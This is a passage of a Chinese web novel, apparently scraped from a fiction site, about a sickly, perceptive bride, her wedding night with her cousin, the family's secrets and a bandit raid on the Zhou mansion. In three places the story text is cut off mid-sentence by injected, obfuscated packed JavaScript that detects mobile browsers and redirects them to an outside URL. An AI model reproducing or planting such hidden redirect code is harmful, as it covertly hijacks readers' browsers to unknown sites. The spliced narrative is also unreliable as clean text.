倪何惠看着多宝阁上摆着的一架象牙观音像,沉默良久,才叹一口气,对奶嬷嬷道:“不聋不哑,不做家翁。若不是今后就指着大老爷,我又何必掺一脚,对一个小丫头喊打喊杀?” 奶嬷嬷知道她话中深意,一边拿美人锤给老太太捶腿,一边道:“乔姑娘看着是个好的,虽然久病,观面相未必没有后福。” “她一个小人家家,并不重要,重要的是二少爷。” “二少爷脾气拧,成了家,慢慢也明白大太太的苦心。” “苦心?”倪何惠冷笑。“屋里就咱们俩,你别和我打马虎眼。那说不定是全桐城最小的童生。换了你,你想得开?” “想不开,又能怎么办?”奶嬷嬷丹琳也叹气。“二少爷毕竟没下场……没下场,也能尽早断了念想。” 那头周老太太与自家奶嬷嬷说私房话,这头乔璃又拜了一回周大太太。许是见天色已晚,大太太不过叮嘱关照几句乔璃的身体,就放她回客院。 扶她出来的丫鬟红姝也是适才倒茶侍奉的,年纪不很大,细脸儿,水蛇腰,梳着辫子,别着一支金簪。 乔璃扶着她的手,指尖贴着脉门,又瞧了瞧红姝的眉眼,敛眉低道:“我观屋中设了佛龛,一尘不染,又听闻太太素来虔诚,礼佛持斋,宅心仁厚。太太是善心人,未来能侍奉左右,我欢喜不已。” “姑娘说得是。”红姝应道。她说话声音细,听着略有些中气不足似的。“太太是……善心人。” 院外十步远,红姝才松开纤手,末了又深深一福,做足了礼数。周大太太院子里的仆人大多如此,与周大少爷院子里的人很是不同。 好一个善心人。乔璃最后看了她一眼,才往自己的院子走。也是她今日身体稍康,经得住走动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615124|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,否则平日多卧床休息,并没有挪动请安的力气,自然也难看出来周家藏着这么多门道。 待回了自家院子,又是一种风格,秀云迫不及待地把她迎进来,林嬷嬷则把季嬷嬷巧妙地隔开。进了母亲在的房舍,周继纯也一副刚回来不久的模样,抱着乔璃,心肝儿肉啊地哭了一通。 等这股劲发散了,乔璃才在炕沿的另一边落了座,秀云早端了每日必喝的汤药,还有甜口的蜜饯在一旁等着。她闷一碗,还有几碗等着,少女也不叫苦,蜜饯只吃一颗,把药慢吞吞地全喝了。 周继纯瞧着她,只觉得女儿再没有不贴心的,当下又一阵垂泪:“你年纪小小,才学不差男子,如此懂事,有时候娘倒期盼你哭一哭。心里的苦总是憋着,娘怕你憋出大病。” “娘。”乔璃放下碗。“母亲冤枉了我,我不觉得苦。今日脸上带笑,是真感到可乐。” “你去请安,又能碰见什么乐子?” “关于莲二爷的事。都说莲二爷自甘堕落,断了四书五经,去学洋人的东西。” 周继纯立眉怒目:“这话断不能信!你莲哥哥自小聪慧,便是略微移了性情,大了自然会改。” 她说着说着,又气又急,一手捂着额头,一手捂着心口,缓了半晌,才道:“也不知是哪个没心肝的,在你小人家面前乱说嘴。” “母亲莫急,这种话,我从不往心里去。” “娘还不知道你的性格?总怕你太憨直。嫁回周家,已是娘能给你找到的最好的亲事了。周家素重清名,媳妇三年无所出才纳妾,以你与莲儿的年纪,五年七年也不算久,有老太爷、老太太护着,总比旁人好。” 周继纯顿了一顿,方继续道:“……娘的身体,是真不成了。” 乔璃伸手握住母亲冰凉凉白中泛青的手,宽慰几句,拜别回房。 等回到自己的卧房,乔璃将脸上的笑慢慢敛了,对着梳妆镜按揉面颊的穴位。整日动用双颊的肌肉,虽然不累,但也乏得慌。 她看着镜子里的清水芙蓉面,不笑的时候,黑压压的睫毛下是更鸦黑的眼,总是静的。 最开始她不懂自己与旁人不一样,一个女孩,知晓太多,太镇静过分了,四平八稳的,不仅欠可爱[1],有时要被称为“疯子”,称为“巫”了。 等开始读书,读诗经、史书,庄老,读到“庄周梦蝶”四字,才渐渐明白。梦蝶非我,她还保留作为蝴蝶时的碎片,用得却是庄周的身体。 乔璃知道很多东西——除人心规矩外,她尤擅医,且识谎。别人嘴里说的,心里想的,若是有分歧,一望便知。 可小女孩的话,没有人会信。这两年,她替母亲开了药方,写了保养的法子,周继纯只是笑,不肯当回事。 人都是有情绪的,唯独她不懂。不懂就要学,只是乔家总鸡飞狗跳,也见不着几个寻常人,她只练会了笑。来了周家不久,就见识到许多不同的情绪,表面一套、背后一套,是有意思的。 周家有个谜,母亲不懂,也不必要懂,但周家人仿佛想要乔璃懂,却不敢明着说,殊不知她们试图掩藏的东西,在她眼前与一本摊开的书也别无二致。 最有意思的,是周家二少爷。她大抵能猜到别人的情绪,却摸不准他的。 思绪一发散,乔璃仿佛又闻到他身上那略带一点墨香的书卷气。那板正的西装,亮而倔强的杏眼,挺直又脆弱的背脊,都与周家不甚谐和。 乔璃直视镜子。我,是谁呢?这也是个谜。但潜意识告诉她,不必担心谜底。该想起来的时候就会想起来。她看着自己的倒影。不必担心,慢慢来便是。 她至少还记得一件事——她是乔璃。 因此,她确信自己不必担心。 5. 肆 白马非马 乔璃独自坐在新房里。她已坐着等了很久,并且十分疲惫了。 黄昏时她坐着喜轿绕周宅一周,就算摆过仪仗。 周家二少爷的婚礼进行得很低调,新娘跨火盆、新郎挑盖头,最后两人对坐,行合卺礼,婚礼就算是正式落成。 新郎在外头喝自己的喜酒,给亲族长辈行礼打招呼。新娘按照旧俗,独自待在新房“坐财”。 前院声音嘈杂,哪怕是简约的婚礼,也毕竟是喜事。周老太爷惯例请了戏班,咿呀呀地唱着,鼓乐萧笛飘得很远。 大床上铺着喜被,喜被下散了许多枣子花生。乔璃歪在引枕上,坐着坐着,索性躺下来,从后背摸了两个花生,掰开壳子放进嘴里慢慢嚼。 她闭上眼睛,眼前划过一张张面孔,有周家人,也有乔家人。短视、贪婪、懦弱、奸猾。最后是母亲的脸——对死亡的畏惧,以及无尽的孤独。 而留给乔璃的,总是疲惫。 她的大脑和心灵从不觉得疲惫,它们运转的时候比涂了润滑油的齿轮还要灵敏。大脑黑暗的深处有海量的知识与记忆,目前她所知晓的,如同被冲上沙滩的漂浮木,只是冰山一角。 看进眼中的事被自动分解成一小块一小块的思绪,思绪继续被分解,直到露出本来的面目。 思考给身体带来可怕的消耗,没有药物医治这种消耗。这是一种无解的、无药可医,也没有大夫诊断得出来的疾病,被误认为胎中病。乔璃医者自医,唯一的法子,就是常年地进补,钱如流水地补。唯一的好处,就是补得再多,也不至于补坏。 “妹妹。” 一阵带风的脚步声推开门,带来夜间湿气、烟火气和脂粉香混合成的雾气,带来喜气、桐树花和少年的呼吸。 他进来,脱掉混杂的烟臭,带到床边的,就只剩下潮湿而干净的气息。 “莲哥哥。”她在一种放松而慵懒的状态下回应他的招呼。 少年轻笑:“妹妹睡着了?快醒醒,今夜是我们的好日子呢。” 她坐起来,周莲泱连忙在她腰下垫了一个引枕。他年轻的脸上浮着无比喜兴快乐的神情。 今夜是他的好日子,他终于成家了。一个男人,有了妻子,就代表真正的长大。他瞧着乔家表妹施过薄粉、在灯下显得红润健康的脸,心中一阵一阵涌出满足。 “表哥,你在想什么?” “妹妹,我在想,咱们是一家人了。”周莲泱鼓起勇气,握住她放在身前的手。 乔璃定定瞧了他许久:“表哥,我的身体,今夜是不能圆房的。” 她看见他的耳朵烧热了,“呼”一声,像能滴出血来。周家二少爷长得一副好模样,一身白皮,又不似洋鬼子白得跟石膏像似的,而是白里透着莹润的亮,脸一红,也像能滴出血来:“我,我知道的,妹妹!” 他的尾音几乎含着一点嗔怪了,话还没说完,就看见自己娇花似的乔妹妹一掀衣摆,不知怎么就近近凑到跟前。 两人鼻尖贴着鼻尖,她黑压压睫毛下的眼睛紧紧盯着他,嘴角勾着,伸手摸了摸他的脸:“表哥的脸好红。” 周莲泱耳朵里“轰”一下,跟炸开烟花似的。躲又没处躲,动,也不知道怎么动。 乔璃的指尖又往上移,轻飘飘的,像是蝴蝶的翅膀,碰到哪里,哪里就点点星星的痒。指尖顺着他细细长长的眼线慢慢地走,走成两汪弯弯的横波。 她是在戏弄他吗?可这种戏弄,也怪小孩子气的。周莲泱不自觉地笑,比旁人都生得好看的眼睛波波漾漾的。他本就有些男生女相的清秀,再配一双会说话的眼睛,将来不知会勾走多少人的魂儿。 她摸他的时候,他也贪瞧着她。瘦瘦的一个姑娘,几乎藏进了他的怀里,虽然瘦,但身板生得停匀,还带着小女孩的柔软脆弱。他忍不住环起双臂,试着去吻她梳得比平日更繁复可爱的发髻。 她顺从地依到他肩膀里,小巧玲珑的下巴抵着他的颈窝,皮肤相触的地方软溶溶、暖融融的,温度绵延进心头。 周莲泱轻轻侧过脸,想吻乔璃的面颊——不是出于欲,而是一种近于母□□的反应。 他想有个家,有真正的家人,因为太过快乐,以至于忘乎所以:“太太叮嘱过我,其实不用叮嘱,今后只有我照顾妹妹了,我会好好照顾你。” 话音刚落,他自己都觉得不对,手心脚心一忽儿冷起来,刚凉下去的脸,又红通通的——这回不是害羞,而是愧窘了。 “我娘是要死了。”乔璃自他怀里抬起头,声音是一如既往的平静。“不错,我娘死了,爹靠不住,只有表哥一人在乎我,而我能在乎的,也就只有表哥一人。” “这样再称表哥的心不过,对不对?” 周莲泱的心一下紧起来,心尖被狠掐似的止不住抽疼,急的眼角泛泪:“不是——决不是这样,妹妹误会我了!妹妹真的误会我了!” 少女的手还盘桓在他的颈子周围,微凉的指尖点在颈后,他感觉来,就跟寒冰似的:“表哥,我以前一直想不通,为什么你我二人的婚事会如此顺利。如今想来,反骨叛逆前途无望的庶孽,配一个无依无靠孤苦伶仃的表小姐,太太做梦都要笑醒了吧?” 周莲泱的心不再暖洋洋的了,整个人如坠冰窟,脸一霎刷白刷白,呆瞪瞪地看着乔璃。 她捧着他的脸,在少年哀恳的视线中慢悠悠地继续道,“表哥的童生试,不是不想下场,而是太太不许你下场。她怎么会允许一个偏房贱生,抓住越过自己亲子的机会?所以把表哥扔出国,改头换面,投了洋人的靠。未来不至于没有营生,便能堵老爷的嘴。” 说了这么长的一通,乔璃微微有些气喘,可眼里头次闪出近乎兴奋的光,一张粉面也因气血翻腾,润盈盈的如娇艳盛开的夹竹桃——这桃花被对面的人看在眼里,恐怕是一种气味甘甜的剧毒了。 她还靠着周莲泱,可他颤抖得厉害,那么猛烈地发着抖,使她捧不住他的脸。 少年的背弓起来,鼻息呼哧呼哧地喘,垂在身侧的双手紧紧攥拳。莲二爷虽然不是一个武人,但练过弓,马也骑得,力气不比半大小子差。 乔璃看在眼里,一时期待他会怎么做,便再往摇摇欲坠的积木上垒了一块砝码:“我没有误会表哥。也许以前不知道,但留洋回来后,表哥一定把所有事都弄清楚了,知晓自己不是嫡出,旁人不说,你也瞒着我,瞒着我娘。若知你非嫡出,我娘也绝不会选你做我未来的依靠。” 周莲泱猛地抽动一下,乔璃差点以为他要动手了。 但他只是翻过手背,去抹眼里淌出来的泪。 不是他,乔璃还不知道,有人哭起来,泪真是如“断了线的珠子”般往下掉。一双标致的杏眼红得如揉碎的蔷薇花似的,眼睫扑闪的全是痛煞了人的委屈。 男儿有泪不轻弹,他哭得很小声,噎着憋着,底色澄净的嗓音含着沙,楚楚可怜的。 一股奇怪的兴意跑过乔璃的心。 自开智后,长久地处于乏味的人群与身体的病痛,周遭的一切从不能让她觉得有意思,她迫切地需要一个维持兴趣的游戏。 有那么一瞬间,她忽然感到肯定,自己一直在寻找的,就是眼前这个人。 这种感觉就跟喝醉酒一样,好像脑子是清醒的,其实控制不住自己。她控制不住自己用手帮他擦眼泪,擦不干净,索性噘起嘴轻轻的亲。 这一亲倒又吓周莲泱一跳,眼泪一时断了,呆呆地看着她,眼神像是怕,又像是认命了。 “太太不是我的亲娘。”少年拿手背又揉了一下眼睛,眼圈还是红红的,“我娘……我娘曾是太太的陪嫁丫鬟,给老爷生了我,没过多久就去了。太太那时也失了一个孩子,便把我当亲子一样养着。两年前,并不是太太不许我下场,是我自己听墙角,得知身世,一时忍不过去,做了冲动的顶撞。” “老爷生了好大的气,差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年垂下头,乔璃伸出手去揽他,让他把额角抵在自己肩膀,语气柔和:“你知道太太院子里的红姝,和大少爷院里的喜儿,全有孕了么?周家重名声,许出三年无出才纳妾的承诺,娶回门当户对的闺秀,等她们死心塌地地贴补夫家后,又悄悄养小的。就这样,老太太还和我说……” 话未说完,乔璃的嘴就被周莲泱捂住了,他一边捂一边咬牙:“你……你可是疯了?这种话也敢说出来……” 少女眉眼弯弯地笑:“因为是表哥,我才敢说呀……” 背后大肆指点家中长辈,简直大逆不道有悖人伦。周莲泱一直以为自己是最叛逆的,没想到跟眼前的女孩比,简直小巫见大巫。 瞧着她得意洋洋的表情,他真是又气、又怕、又恼,又有一种小猫儿并肩偷鱼吃的惊险的快乐。 家里并非表面那般光鲜文雅,留洋之后他也有所感受,但年岁毕竟太小:“这些事我都不知道,你到底是怎么看出来的?” 乔璃一步一步试探着他的底线,得到的全是最好的结果,话头转到这里,她也不多隐瞒:“我不知道。” 不用说话,都能看到少年脑门上大大的问号。乔璃唇角一扬:“表哥相信这世上有生而知之者吗?我瞧每个人说话的表情,就能够自然而然地分辨对方是不是说谎,还有些望闻问切的本事,给人看病也使得。” “原来如此。”周莲泱神色郑重地看着她,“妹妹放心,这事绝不会有第二个人知道。” 乔璃:“……表哥,你就信了?” “藏有活佛,我朝崇长生天,在欧罗巴游学时,我也见过清教异事,自然也可以有生而宿慧之人。”周莲泱偏头想想,又怀疑地看回来,“我发誓再没有瞒妹妹的事,妹妹也不能骗我!” “当然。”乔璃忙攥住他的手,“表哥,我也发誓,今后决不瞒骗你。” 得了承诺,周莲泱复又开心地笑了。他一会哭,一会笑,笑靥上还挂着方才吓出来的泪珠,眼又是清亮亮的两汪湖。 乔璃说得累,周莲泱是情绪起伏得累,两人对视一眼,他不好意思地别开脸,觉得洞房夜大大失了男子气概。 可男子气概比不上昏昏欲睡的表妹,周莲泱绞了热手巾,给自家表妹兼新婚妻子快快地擦了手和脸,两人相拥在红绸被里,很快就沉入黑甜乡了。 6. 伍 山雨欲来 统宣二年不是一个好年。冬冷,夏又格外热,太阳一出来,就毒恶地投下干巴又刺目的白光,晃乱人的眼。 周莲泱从正房内出来,太太苦夏,身体不适,只在院外匆匆请安。天热,前阵儿还开得红红火火在枝头怒放的月季也打了蔫,垂头丧气,枝条像病了似的,垂在花瓣的阴影里。 路面有早起的小丫鬟洒过一边水,这下又?干了,一走鞋就挂尘。院子里的假山也灰扑扑的,没精打采、懒洋洋地站在那里。 周莲泱取出帕子擦擦头上的汗,顺着回廊去小院的路,恰好经过一处空院,两月前,是周大姑奶奶的停灵之室 大婚那日喜庆的披红挂金,喜气妆点满院繁华,不过一月有余,周大姑奶奶就去了,院子里未撤下的红,很快换成寡素的白。 那么多的白,和四月的阴雨连接起来,结成一片愁闷悲戚的灰云,沉沉地压在周家宅邸上方。 乔璃撑着病体为亡母摔丧驾灵,周莲泱也要从旁协助丧事事宜。请人择日,停灵,开丧,送讣闻,请了道士设坛念经,按期做好事,做到七七为止[1]——明明是周家的女儿,尸骨却要埋到乔家祖坟。 四十九日一过,周莲泱才第二次见乔家父亲,据说周家姑奶奶死后刚过七日,对方就把爱妾扶正,赶着做当家主母了。 周继纯出嫁日久,合家大小,远近亲友,都无与之特别相熟之人。周老太爷自持庄重,又是白发人送黑发人,哀恸不便形于色。于是,只有乔璃一个,在灵前哀哀欲绝。 折腾完殓殡送丧之礼,乔璃到底发了一场高热,一度人事不省,休养半月有余,尚才恢复半数元气。 回了小院,周莲泱先问过秀云,得知乔璃还在睡,便浣手进入小书房。一看西洋钟,才刚过八点。备早饭,乔璃又不知何时起,摊开书,瞧那些蚂蚁爬似的拉丁文,在椅子上又坐不住。 四书五经一年前便已放弃了,叠在桌角,打扫的婢女不用心,落了薄薄一层灰。 他如今随手翻看的也只是些诸如三言二拍的闲书。放在以前,冯犹龙[2]的书若大喇喇摆在桌案上,被父亲瞧见,说不定要打十几个手板。 闲书中,被翻阅摩挲得最多的,是一本脂砚斋评本的《红楼梦》。 周莲泱把书贴在胸口。自从得知自己要娶乔家表妹,他就不可自拔地一遍遍翻阅这本书,仿佛自己和表妹就是那书中人。乔璃与林妹妹一样天生聪慧,体弱多病,他出身稍逊,性格却不至于似贾宝玉那般多情颓废。 他一边自得地想着,一边进了院子,往东间走,忽然听到屋角边有喁喁的说话声。那边是太太新拨来的两个小丫鬟的下人房。周莲泱便停住脚步,听里面说些什么。 只听见有个脆生的声音说道:“今月的月钱拨得早哩,我进来不过五个月,那分钱的妈妈,每次对我都臊眉耷眼的,没一次痛快。” 又一个人带着笑音说:“我们这些伺候人的,每个月可不就只有这点子指望?总算能买点北方的点心,你可开心了?多亏姑娘嫁进来……” 周莲泱听出来那言下之意:多亏乔家姑娘嫁进来,大姑奶奶与外祖累积的嫁妆充盈了中馈,家里新换了不少陈设摆件,大哥院里又添一个千娇百媚的丫鬟,下人打牌、吃酒,嘴里念叨着可算有钱了…… 他咣当一声推开门,秀气的眉紧皱在一起,他素日随和,尤其照顾年纪小的丫鬟们,恐怕是第一次发这么大火:“你们不好好伺候姑娘,在这里嚼什么舌?妄议主子,就算把你们打发了,太太也不会说我什么!” 先说话的是从北边逃难过来、被父兄一袋米卖了的丫鬟玲云,后答话的是大玲云两岁的周家家生子臻云,两人先是被骂得发愣,臻云脑子里还在转着转圜的话语,玲云那边已“扑通”一声跪下,对着周莲泱狠命磕起头来:“二爷,莲二爷,求求你,别卖了我……别卖了玲云……” 玲云不管不顾磕出一头青痕,眼见就要出血,一道低哑的声音从门边传来:“玲云,你别磕了,快起来。” 周莲泱回头看时,乔璃已经走了进来。她穿着一条天青色的衣裙,上半身是轻灰的夹袄,漆黑的长发梳着一个低低的圆梳髻,面无粉饰,只唇珠点红,增一分气色罢了。 “这是怎么了?”她先让跪在地上的玲云起来,转过头,询问周莲泱。 “她说……”刚说了两个字,周莲泱就咬住舌尖:这事,说出来受伤害最深的还是乔璃。 一旁的臻云对上乔家姑娘温润清蒙的眼,不知为何打了个寒颤,跪下来,伏在地上磕头:“是奴婢在背后乱嚼大爷院下人的舌,还牵连玲云,实在该死。奴婢知错,奴婢知错,只求姑娘饶了玲云这一回,实在跟她没关系的。” “好了,不是什么大事。”乔璃闻言顿时失了兴趣,“表哥要罚,罚两个月月钱也就罢了。” 周莲泱连忙跟上她的脚步,一只手托着她的手,另一只手给她紧了紧肩上的披风:“下人最会摸主家脾气,我屋子里气氛素来宽和,不罚她们不知道厉害呢。表妹,你怎么出来了?” “睡醒了,就出来走走。” “秀云呢?” “叫早食去了。天气热,我让她多点了一道你爱吃的笋脯,配新做的茯苓饼正好。” 周莲泱微微偏头,抿下唇畔的笑,接道:“昨日听人说,大厨房进了新鲜的莴苣,表妹怕也是吃烦了燕窝粥,不如叫她们再酱个莴苣来?” “我听表哥的。” 两人用了早食,浣手漱口,相坐而笑。 “外面这日头,上午也没法子出门了,不如去书房,我给妹妹弹钢琴听?” 刚问完,周莲泱就想抽自己一巴掌。热孝期间忌娱乐,他光顾着陪妹妹茹素,把别的忘了个一干二净。 “无事,表哥只是想逗我欢心。”乔璃对着他先笑了一笑,又道,“除了钢琴,听说表哥还会踩洋人教堂的管风琴?” “只学过皮毛而已,有时他们的‘礼拜日’会邀我过去唱诗,去得多了,就试了试。” 涉及熟悉的话题,周莲泱也起了谈兴:“洋人的乐器,诸如钢琴、管风琴一类,大而笨重,然而音色明亮朴硬,手感奇妙,与我们的乐器大相径庭,甚是有趣。” “但比起钢琴,表哥还是更喜欢古琴、萧、笙一类?” 面前的少女歪头瞧他,手里转着一枚不知从哪里捡来的竹叶。 一阵凉爽的清风带着松竹的气息拂过,拂动了眼前人额边细碎的乌发,她伸手将一缕发别入耳后,眼睛闪烁着笑意和一点看穿人心的狡黠。 周莲泱盯着那枚绿得像宝石一样的竹叶,不知为何,心如擂鼓,竟怯于直视她的眼:“……我先学得琴萧,后因着老太爷的爱好,耳熏目染对昆曲也颇有兴趣,又学了笙。老爷觉得戏子都是下九流的贱东西,带坏了我,决不许我再接触。” “如果不是在孝期……表哥可愿为我唱一段?我只记得一句词,好像是:小姐小姐多丰采,君瑞君瑞大雅才。风流不用千金买,月移花影玉人来……” “是西厢记的《拷红》。”周莲泱脱口而出,伸手就去捂她的嘴,“这戏……是上不得台面的杂戏,你小小年纪,怎地听过这种曲子?” 少女眨眨眼,闷闷地回答:“我也不记得在那里听到过了,只是觉得好听。” 周莲泱这才发现自己在干什么,忙抽回手,装出一副若无其事的模样,又教训两句。其实他自己都不知自己在说些什么,只有手心湿湿软软的触感鲜明至极,久久不散。 满足了自己的好奇心,乔璃不再逼迫脸臊得通红的莲二爷,伸手轻扯他的袖子:“表哥……那个你带来了吗?” 他心知肚明她要什么,故意背手侧身,“什么?我不知道妹妹在说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔璃因为这个不太喜欢的小名皱了皱鼻子:“母亲给我留了些体己,若是能去海市参加交易,购入抛售,便能换来几十倍、上百倍的银钱。” “赚了银钱之后呢?从商?虽然我家在官场上没什么人了,但毕竟是书香世家,若我从商,恐怕老爷太太都不会同意。” “并非从商,只是……”乔璃也有些愣住了。对了,她想做什么呢? 碎片样的记忆里,找不出一个答案,但她能感觉到有一簇火,被埋藏、被压抑在孱弱的灵魂深处。乔璃依稀觉得,那并不是什么伟大、光明或者值得推崇的东西,而是……一种新奇的刺激,一种从未见过的有趣,让她想要涉足其中。 就像大婚那日撕开周莲泱的外壳一样,她伸出手,想要在这世界上狠狠撕扯一番。 ……以对抗心里这无边无际、无穷无尽的无聊之感。 “世道不会一直安稳下去。”乔璃喃喃。“很快就要起风了。” “尽说我听不懂的话。”周莲泱刮了一下少女的脸,“还是先把身子骨养好吧,乖囡。” 乔璃转脸,轻瞪他一眼。囡囡、阿囡,乖囡,莲二爷找到个乱叫小名的新乐子。 这本是母亲为了养活她,给她取的小名。连乔父也没告诉,只在临终前握着周莲泱的手,将女儿托付给未来得及熟悉起来的外甥。 阿囡就托给你了,你要好好照顾她。 周继纯慢慢地合上眼睛。 “士之耽兮,尤可脱也,女之耽兮,不可脱也”。 她的心早已脱离乔家,脱离乔翊之,却亦无处可去。临到临头,她还是甩不脱周家一脉相承的偏执薄幸。比起吃药治病、撑一口气好好活,她选择将女儿留在表面光鲜靓丽,内里糟烂污浊的娘家。 这当然不是个好办法,她的女儿,还那么小,可自己已没有心力再管她的事了。 她将所有嫁妆带回来、填入公中,就是换得一年,两年,只要能撑到乔璃及笄,也算尽了拳拳爱护之意。 但周继纯没想到,也不可能想到,她离世方过三月,周家就倒了。 7. 陆 飞来横祸 有道是巢湖一熟,豫皖皆足,有千里淮河,水源甚旺。可南宋以降,天灾日渐频繁,其中水害尤为显著。统宣二年,淮河流域又发灾害,五月前久旱无雨,到了初五,蛟水骤发[1]。 时及七月,大雨倾盆已持续整整两月,数州出现灾民,流离失所。灾民总约百万口,或东迁江皖,或西奔豫南,令皖北数十里炊烟断绝。 连雨大水十月始退,田多荒废,难以复耕。皖地百姓流离失所,残庄饿殍相望于道,境况惨不忍睹。 于此同时,京城朝廷与州府官僚依然沉溺于纸醉金迷之中。国库空虚,拨出来的一点本可救济民生的赈灾款项与粮仓陈谷,在层层盘剥与巧取豪夺下,早已消失得无影无踪。 需知皖北民风向来犷悍,州县久遭天灾,无业游民便难保不流为盗寇。盗寇便罢,聚得多了,便易生事。 七月下旬,皖北各地物价飞涨,连带怀远内也米珠薪桂。怀远县中,路西有一座酒楼,匾额上写着“刘家楼”,然而刘家上下十来口老幼已尽死家中,酒楼被县中泼皮赖子与逃难贼寇所占据。 楼中有一中年人,昂然而坐,穿银戴金,然而相貌不似皖地中人,形容凶恶,俗态不堪。 此人名叫陈老八,正是游勇散兵的领头羊,来路却不是普通的泼皮可比。 这陈老八,曾是干越天地会众匪中的老匪头,奸狡圆滑,多次参与反迦佛国朝廷之运动。 当时天地会被官兵围剿,陈老八不敌,后流亡至徽州,恰遇一徽商寻觅门客勇士,便把他收留在府内。谁料此次淮河大洪,陈老八旧性复燃,聚集一帮泼皮混混先将徽商家中劫掠一空,再摇旗起事,收拢百余“有义军”,南下抢劫军械马匹。 从怀远始,途径淮南、长丰、曲城,陈老八众流窜数州县,势颇猖獗,裹胁复增,“有义军”居然已达千余人。然而到了肥西一带,匪军路过郑家集,被守株待兔的府军打了个正着。 陈老八一行仓皇流窜,改扮行装,逃入舒城,又继续南下躲避追捕。离了舒城,一同出来的党匪仅剩几十余人,剃了头,“有义军”改头换面,变成逃难的行脚僧人。 皖北旱涝不休,南地只有旱热,民情尚稳。陈老八率人沿路劫抢行商,打点细软,由岔路上船,走水路进了桐城。 盗匪行事,大多是无法无天的。然而陈老八在加入天地会之前,便是干越一豪商家中有腿脚的马夫,见惯大宅内的勾心斗角。劫多了乡绅富户,逞勇斗狠之余,又藏一份狷狂人没有的思虑城府。 就拿劫掠富户来说,陈老八进了桐城,先去那聚多了各路江湖行脚的便宜茶楼,打听城内富户分布。 桐城素有文名,但少奢靡,多是文人书生,以及一些离朝回乡的官宦。只有那城西周家,传承百年,底蕴深厚,想来家财最丰。 打听完心中想知之事,陈老八又摸透了桐城县衙,见那些差役油滑惫赖,多是无用草包,便更放下心来。 底下人又挑了几门商户,但皆不如周家豪富。陈老八记念着周家穿着比普通闺秀还气派富贵的丫鬟,心中想到:“想来桐城就这一条大鱼,若是错过,怕是有许多后悔。外敌难破,然而这豪门定非铁板一块,若是寻得内鬼,以自己三寸不烂之舌,劫了这周家,还不是手拿把掐的好事?” 陈老八与底下人定了计策,几番打听下,说得周家有一从北地逃亡而来的听差杜山,人高马大,亦是悍勇斗狠之人,周家将他招进去,也是看中他的拳脚功夫。 然而负责招收仆从的管家懒怠详查,不知杜山虽然功夫好,身上却早背过几条人命,正是那嗜酒如命、见财眼开的真小人。 一日,趁杜山出来买酒,陈老八悄悄率手下人前去闹事,又大摇大摆出来解围。那杜山不欲生事毁了差事,强自隐忍,陈老八雪中送炭,又出钱请酒,两人一见如故,不消两日,杜山便将他引为知己。 又过两天,陈老八摸透了杜山的本性,便隐晦提议起事。杜山起先自然推拒,甚至拂袖而去,然而架不住陈老八屡屡请酒,几次三番下,他也渐渐对周家财富垂涎起来。 陈老八趁热打铁道:“咱只说如果顺利,吞了周家财,马上把银子押到江北舒城,在那儿还有俺们的‘有义军’接应。要是没有得手的话,也不必在意,那府兵尽是草包怂蛋,没有什么办法的。” 且说陈老八与杜山定了灭门之计,本想再过数日光景,等那杜山将周家内外院打听详细。岂料皖北久雨不歇,南下逃亡的流民大量南下,涌入桐城,滋生许多是非。 县衙解决流民尚且力有不及,夜间巡逻更是松散乏力。陈老八闻听,顿觉“天助我也”,遂联系杜山,择一月黑风高的暑夜,果断行事。 周家格局非常,与正街隔着几条小巷,闹中取静,但也远了街坊邻居。陈老八按着定好的暗号敲门,杜山应声打开角门,他这几日谦恭低眉,酒也断了,只为少生事端,不引人注意。开门之前,守门的两个家生憨仆,已被他一刀抹了脖子。 陈老八进了大门,见周家果然气派不小,哪怕夜色深沉,也能看得出宫灯银花,处处汉玉白金。匪头胸中贪欲更甚,抽出腰间朴刀,刀指大院,竟然激荡出许多豪情:“天杀的泼贱贼,俺在皖北被洪灾折腾得家破人亡,他们倒是喝酒吃大肉来!今日咱们就替天行道,把那堆臭钱财抢回来,叫他们知道活该!” 霎时间,匪众高声应和,蜂拥而入,不管不顾,举刀便砍。正屋卧房内,周老太爷正要歇息,便听到外头骤然传来惊慌失措的呼喊和奔跑声。不等回神,便有冲得快的匪众在杜山的带领下闯入大堂。 灯光下,周老太爷披着中衣,惊怒不已。可他年过花甲,只是瘦小老人,护着他的忠仆被一刀砍死,下一刀就扎穿了周自谨的胸膛。 陈老八谙熟“擒贼先擒王”的道理,一面派人闯正屋搜刮金银器皿珍贵古董,一面派人去寻做得了主的男丁杀死了事。 盗匪往前,碰上闻讯出来抵抗的男仆武夫,数人倒在血泊之中。有杜山指路,陈老八冷哼一声,点燃了柴房。夜间暑热,时有夜风,风助火势,将周家人烧成了个无头苍蝇。 前院已杀得遍地是血,后院尚还平静。 乔璃觉浅,若是睡深了,总觉得胸口堵着什么、喘不过气。也许是天气的原因,闷沉沉地热了整日,太阳倦在层云里,将雨不雨,只是闷。夜里睡着,口鼻像有一块湿甸甸的棉布罩着,哪怕呼吸浅浅,仍捂得难受。 周莲泱与她隔着一条薄薄的绸被睡在外侧,方便夜半起夜,照顾乔璃的需求。他沉在梦里无知无觉,乔璃却睡得断断续续,隐约听见嘈杂的动静,像野狗的狂吠,又似鬼哭,飘飘地夹了些杂音。她在梦里仔细听,恍若是…… “杀人了!”“走水了!”“救命!饶命!” 乔璃猛地睁开眼,身体一阵抖嗦,心口传来一种撕裂般的咳意,捂着嘴喘得停不下来。周莲泱半梦半醒,下意识掀开被子,去给她倒水,无意间磕翻茶杯,被冷茶泼了一脚,冷得一跳,怪道:“茶怎是冷的?” 